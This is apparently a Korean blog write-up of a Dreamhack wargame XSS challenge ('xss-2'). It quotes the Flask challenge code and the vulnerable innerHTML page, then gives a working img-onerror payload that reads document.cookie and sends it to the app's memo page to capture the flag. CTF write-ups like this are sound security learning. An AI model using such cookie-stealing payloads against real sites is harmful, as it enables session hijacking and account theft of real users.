https://dreamhack.io/wargame/challenges/268/
전체적인 페이지는 xss-1과 크게 다를 게 없어 보인다. 다만 vuln 페이지에서 param으로 넘겨준 스크립트 태그가 실행이 되지 않는다.
xss-1과 뭐가 다른지 코드로 살펴 보자
코드
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
각각의 페이지에 대한 설명은 xss-1에서 한 것과 동일하므로 생략하겠다.
여기서 봐야 할 점은 vuln 페이지이다. xss-1에선 return param 을 통해 param을 반환시켜 줬지만 html을 반환함으로써 스크립트 태그가 실행되지 않는 모양이다.
다음은 curl http://host3.dreamhack.games:10253/vuln 로 본 vuln페이지의 html 파일이다
<!doctype html>
<html>
<head>
<link rel="stylesheet" href="/static/css/bootstrap.min.css">
<link rel="stylesheet" href="/static/css/bootstrap-theme.min.css">
<link rel="stylesheet" href="/static/css/non-responsive.css">
<title>Index XSS-2</title>
<style type="text/css">
.important { color: #336699; }
</style>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">XSS-2</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
</ul>
</div><!--/.nav-collapse -->
</div>
</nav>
<div class="container">
<div id='vuln'></div>
<script>var x=new URLSearchParams(location.search); document.getElementById('vuln').innerHTML = x.get('param');</script>
</div> <!-- /container -->
<!-- Bootstrap core JavaScript -->
<script src="/static/js/jquery.min.js"></script>
<script src="/static/js/bootstrap.min.js"></script>
</body>
여기서 주목할 점은
<div id='vuln'></div>
<script>var x=new URLSearchParams(location.search); document.getElementById('vuln').innerHTML = x.get('param');</script>
이 스크립트 태그에서 쓰인 innerHTML 함수이다.
innerHTML 함수는 외부에서 입력된 script 태그가 실행되지 못하도록 text로 인식한다고 한다.
따라서 script가 아닌 다른 태그를 이용하면 스크립트를 실행시킬 수 있다.
img 태그의 onerror 속성을 이용하니 alert가 잘 실행되는 모습이다.
이를 이용하여 xss-1과 똑같이 flag 페이지에 코드를 넣어 보자.
익스플로잇
xss-1과 똑같이 flag 페이지에서 익스플로잇 코드를 작성해 주면 된다.
xss-1에서는 script 태그를 직접적으로 이용했다면, xss-2에서는 다른 태그를 사용해서 넣어 주면 된다.
<img src=x onerror="location.href='/memo?memo='.concat(document.cookie)"/>
위 코드를 넣어 주었고, memo 페이지에 들어가 보면 플래그가 잘 나온 걸 볼 수 있다.
* 구글에 xss bypass 를 검색하면 필터링을 거를 수 있는 많은 태그들이 나와 있으니 참고하자!
'드림핵 워게임' 카테고리의 다른 글
[드림핵/워게임] basic_exploitation_000 (0) | 2023.07.30 |
---|---|
[드림핵/워게임] Return Address Overwrite (0) | 2023.07.30 |
[드림핵/워게임] csrf-2 write-up (0) | 2023.07.19 |
[드림핵/워게임] csrf-1 write-up (0) | 2023.07.19 |
[드림핵/워게임] xss-1 write-up (0) | 2023.07.19 |